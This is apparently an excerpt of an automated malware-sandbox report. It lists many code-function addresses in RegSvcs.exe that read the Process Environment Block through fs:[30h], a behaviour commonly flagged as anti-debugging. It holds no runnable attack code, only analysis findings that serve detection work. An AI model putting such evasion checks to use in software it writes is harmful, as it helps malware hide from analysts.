Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F62A0 mov eax, dword ptr fs:[00000030h]	4_2_014F62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F62A0 mov eax, dword ptr fs:[00000030h]	4_2_014F62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F62A0 mov eax, dword ptr fs:[00000030h]	4_2_014F62A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01468550 mov eax, dword ptr fs:[00000030h]	4_2_01468550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01468550 mov eax, dword ptr fs:[00000030h]	4_2_01468550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149656A mov eax, dword ptr fs:[00000030h]	4_2_0149656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149656A mov eax, dword ptr fs:[00000030h]	4_2_0149656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149656A mov eax, dword ptr fs:[00000030h]	4_2_0149656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F6500 mov eax, dword ptr fs:[00000030h]	4_2_014F6500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534500 mov eax, dword ptr fs:[00000030h]	4_2_01534500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534500 mov eax, dword ptr fs:[00000030h]	4_2_01534500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534500 mov eax, dword ptr fs:[00000030h]	4_2_01534500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534500 mov eax, dword ptr fs:[00000030h]	4_2_01534500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534500 mov eax, dword ptr fs:[00000030h]	4_2_01534500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534500 mov eax, dword ptr fs:[00000030h]	4_2_01534500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534500 mov eax, dword ptr fs:[00000030h]	4_2_01534500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470535 mov eax, dword ptr fs:[00000030h]	4_2_01470535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470535 mov eax, dword ptr fs:[00000030h]	4_2_01470535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470535 mov eax, dword ptr fs:[00000030h]	4_2_01470535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470535 mov eax, dword ptr fs:[00000030h]	4_2_01470535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470535 mov eax, dword ptr fs:[00000030h]	4_2_01470535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470535 mov eax, dword ptr fs:[00000030h]	4_2_01470535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E53E mov eax, dword ptr fs:[00000030h]	4_2_0148E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E53E mov eax, dword ptr fs:[00000030h]	4_2_0148E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E53E mov eax, dword ptr fs:[00000030h]	4_2_0148E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E53E mov eax, dword ptr fs:[00000030h]	4_2_0148E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E53E mov eax, dword ptr fs:[00000030h]	4_2_0148E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E5CF mov eax, dword ptr fs:[00000030h]	4_2_0149E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E5CF mov eax, dword ptr fs:[00000030h]	4_2_0149E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014665D0 mov eax, dword ptr fs:[00000030h]	4_2_014665D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A5D0 mov eax, dword ptr fs:[00000030h]	4_2_0149A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A5D0 mov eax, dword ptr fs:[00000030h]	4_2_0149A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149C5ED mov eax, dword ptr fs:[00000030h]	4_2_0149C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149C5ED mov eax, dword ptr fs:[00000030h]	4_2_0149C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014625E0 mov eax, dword ptr fs:[00000030h]	4_2_014625E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0148E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0148E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0148E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0148E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0148E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0148E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0148E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E5E7 mov eax, dword ptr fs:[00000030h]	4_2_0148E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01494588 mov eax, dword ptr fs:[00000030h]	4_2_01494588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01462582 mov eax, dword ptr fs:[00000030h]	4_2_01462582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01462582 mov ecx, dword ptr fs:[00000030h]	4_2_01462582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E59C mov eax, dword ptr fs:[00000030h]	4_2_0149E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E05A7 mov eax, dword ptr fs:[00000030h]	4_2_014E05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E05A7 mov eax, dword ptr fs:[00000030h]	4_2_014E05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E05A7 mov eax, dword ptr fs:[00000030h]	4_2_014E05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014845B1 mov eax, dword ptr fs:[00000030h]	4_2_014845B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014845B1 mov eax, dword ptr fs:[00000030h]	4_2_014845B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151A456 mov eax, dword ptr fs:[00000030h]	4_2_0151A456
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E443 mov eax, dword ptr fs:[00000030h]	4_2_0149E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E443 mov eax, dword ptr fs:[00000030h]	4_2_0149E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E443 mov eax, dword ptr fs:[00000030h]	4_2_0149E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E443 mov eax, dword ptr fs:[00000030h]	4_2_0149E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E443 mov eax, dword ptr fs:[00000030h]	4_2_0149E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E443 mov eax, dword ptr fs:[00000030h]	4_2_0149E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E443 mov eax, dword ptr fs:[00000030h]	4_2_0149E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149E443 mov eax, dword ptr fs:[00000030h]	4_2_0149E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148245A mov eax, dword ptr fs:[00000030h]	4_2_0148245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145645D mov eax, dword ptr fs:[00000030h]	4_2_0145645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EC460 mov ecx, dword ptr fs:[00000030h]	4_2_014EC460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148A470 mov eax, dword ptr fs:[00000030h]	4_2_0148A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148A470 mov eax, dword ptr fs:[00000030h]	4_2_0148A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148A470 mov eax, dword ptr fs:[00000030h]	4_2_0148A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01498402 mov eax, dword ptr fs:[00000030h]	4_2_01498402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01498402 mov eax, dword ptr fs:[00000030h]	4_2_01498402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01498402 mov eax, dword ptr fs:[00000030h]	4_2_01498402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145C427 mov eax, dword ptr fs:[00000030h]	4_2_0145C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145E420 mov eax, dword ptr fs:[00000030h]	4_2_0145E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145E420 mov eax, dword ptr fs:[00000030h]	4_2_0145E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145E420 mov eax, dword ptr fs:[00000030h]	4_2_0145E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E6420 mov eax, dword ptr fs:[00000030h]	4_2_014E6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E6420 mov eax, dword ptr fs:[00000030h]	4_2_014E6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E6420 mov eax, dword ptr fs:[00000030h]	4_2_014E6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E6420 mov eax, dword ptr fs:[00000030h]	4_2_014E6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E6420 mov eax, dword ptr fs:[00000030h]	4_2_014E6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E6420 mov eax, dword ptr fs:[00000030h]	4_2_014E6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E6420 mov eax, dword ptr fs:[00000030h]	4_2_014E6420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A430 mov eax, dword ptr fs:[00000030h]	4_2_0149A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014604E5 mov ecx, dword ptr fs:[00000030h]	4_2_014604E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0151A49A mov eax, dword ptr fs:[00000030h]	4_2_0151A49A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014664AB mov eax, dword ptr fs:[00000030h]	4_2_014664AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014944B0 mov ecx, dword ptr fs:[00000030h]	4_2_014944B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EA4B0 mov eax, dword ptr fs:[00000030h]	4_2_014EA4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149674D mov esi, dword ptr fs:[00000030h]	4_2_0149674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149674D mov eax, dword ptr fs:[00000030h]	4_2_0149674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149674D mov eax, dword ptr fs:[00000030h]	4_2_0149674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EE75D mov eax, dword ptr fs:[00000030h]	4_2_014EE75D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01460750 mov eax, dword ptr fs:[00000030h]	4_2_01460750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2750 mov eax, dword ptr fs:[00000030h]	4_2_014A2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2750 mov eax, dword ptr fs:[00000030h]	4_2_014A2750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E4755 mov eax, dword ptr fs:[00000030h]	4_2_014E4755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01468770 mov eax, dword ptr fs:[00000030h]	4_2_01468770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470770 mov eax, dword ptr fs:[00000030h]	4_2_01470770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149C700 mov eax, dword ptr fs:[00000030h]	4_2_0149C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01460710 mov eax, dword ptr fs:[00000030h]	4_2_01460710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01490710 mov eax, dword ptr fs:[00000030h]	4_2_01490710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149C720 mov eax, dword ptr fs:[00000030h]	4_2_0149C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149C720 mov eax, dword ptr fs:[00000030h]	4_2_0149C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149273C mov eax, dword ptr fs:[00000030h]	4_2_0149273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149273C mov ecx, dword ptr fs:[00000030h]	4_2_0149273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149273C mov eax, dword ptr fs:[00000030h]	4_2_0149273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DC730 mov eax, dword ptr fs:[00000030h]	4_2_014DC730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146C7C0 mov eax, dword ptr fs:[00000030h]	4_2_0146C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E07C3 mov eax, dword ptr fs:[00000030h]	4_2_014E07C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014827ED mov eax, dword ptr fs:[00000030h]	4_2_014827ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014827ED mov eax, dword ptr fs:[00000030h]	4_2_014827ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014827ED mov eax, dword ptr fs:[00000030h]	4_2_014827ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EE7E1 mov eax, dword ptr fs:[00000030h]	4_2_014EE7E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014647FB mov eax, dword ptr fs:[00000030h]	4_2_014647FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014647FB mov eax, dword ptr fs:[00000030h]	4_2_014647FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150678E mov eax, dword ptr fs:[00000030h]	4_2_0150678E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014607AF mov eax, dword ptr fs:[00000030h]	4_2_014607AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015147A0 mov eax, dword ptr fs:[00000030h]	4_2_015147A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147C640 mov eax, dword ptr fs:[00000030h]	4_2_0147C640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A660 mov eax, dword ptr fs:[00000030h]	4_2_0149A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A660 mov eax, dword ptr fs:[00000030h]	4_2_0149A660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152866E mov eax, dword ptr fs:[00000030h]	4_2_0152866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152866E mov eax, dword ptr fs:[00000030h]	4_2_0152866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01492674 mov eax, dword ptr fs:[00000030h]	4_2_01492674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE609 mov eax, dword ptr fs:[00000030h]	4_2_014DE609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147260B mov eax, dword ptr fs:[00000030h]	4_2_0147260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147260B mov eax, dword ptr fs:[00000030h]	4_2_0147260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147260B mov eax, dword ptr fs:[00000030h]	4_2_0147260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147260B mov eax, dword ptr fs:[00000030h]	4_2_0147260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147260B mov eax, dword ptr fs:[00000030h]	4_2_0147260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147260B mov eax, dword ptr fs:[00000030h]	4_2_0147260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147260B mov eax, dword ptr fs:[00000030h]	4_2_0147260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A2619 mov eax, dword ptr fs:[00000030h]	4_2_014A2619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0147E627 mov eax, dword ptr fs:[00000030h]	4_2_0147E627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01496620 mov eax, dword ptr fs:[00000030h]	4_2_01496620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01498620 mov eax, dword ptr fs:[00000030h]	4_2_01498620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146262C mov eax, dword ptr fs:[00000030h]	4_2_0146262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A6C7 mov ebx, dword ptr fs:[00000030h]	4_2_0149A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A6C7 mov eax, dword ptr fs:[00000030h]	4_2_0149A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE6F2 mov eax, dword ptr fs:[00000030h]	4_2_014DE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE6F2 mov eax, dword ptr fs:[00000030h]	4_2_014DE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE6F2 mov eax, dword ptr fs:[00000030h]	4_2_014DE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE6F2 mov eax, dword ptr fs:[00000030h]	4_2_014DE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E06F1 mov eax, dword ptr fs:[00000030h]	4_2_014E06F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E06F1 mov eax, dword ptr fs:[00000030h]	4_2_014E06F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01464690 mov eax, dword ptr fs:[00000030h]	4_2_01464690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01464690 mov eax, dword ptr fs:[00000030h]	4_2_01464690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149C6A6 mov eax, dword ptr fs:[00000030h]	4_2_0149C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014966B0 mov eax, dword ptr fs:[00000030h]	4_2_014966B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E0946 mov eax, dword ptr fs:[00000030h]	4_2_014E0946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534940 mov eax, dword ptr fs:[00000030h]	4_2_01534940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A096E mov eax, dword ptr fs:[00000030h]	4_2_014A096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A096E mov edx, dword ptr fs:[00000030h]	4_2_014A096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014A096E mov eax, dword ptr fs:[00000030h]	4_2_014A096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01504978 mov eax, dword ptr fs:[00000030h]	4_2_01504978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01504978 mov eax, dword ptr fs:[00000030h]	4_2_01504978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01486962 mov eax, dword ptr fs:[00000030h]	4_2_01486962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01486962 mov eax, dword ptr fs:[00000030h]	4_2_01486962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01486962 mov eax, dword ptr fs:[00000030h]	4_2_01486962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EC97C mov eax, dword ptr fs:[00000030h]	4_2_014EC97C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE908 mov eax, dword ptr fs:[00000030h]	4_2_014DE908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DE908 mov eax, dword ptr fs:[00000030h]	4_2_014DE908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EC912 mov eax, dword ptr fs:[00000030h]	4_2_014EC912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01458918 mov eax, dword ptr fs:[00000030h]	4_2_01458918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01458918 mov eax, dword ptr fs:[00000030h]	4_2_01458918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E892A mov eax, dword ptr fs:[00000030h]	4_2_014E892A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F892B mov eax, dword ptr fs:[00000030h]	4_2_014F892B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152A9D3 mov eax, dword ptr fs:[00000030h]	4_2_0152A9D3
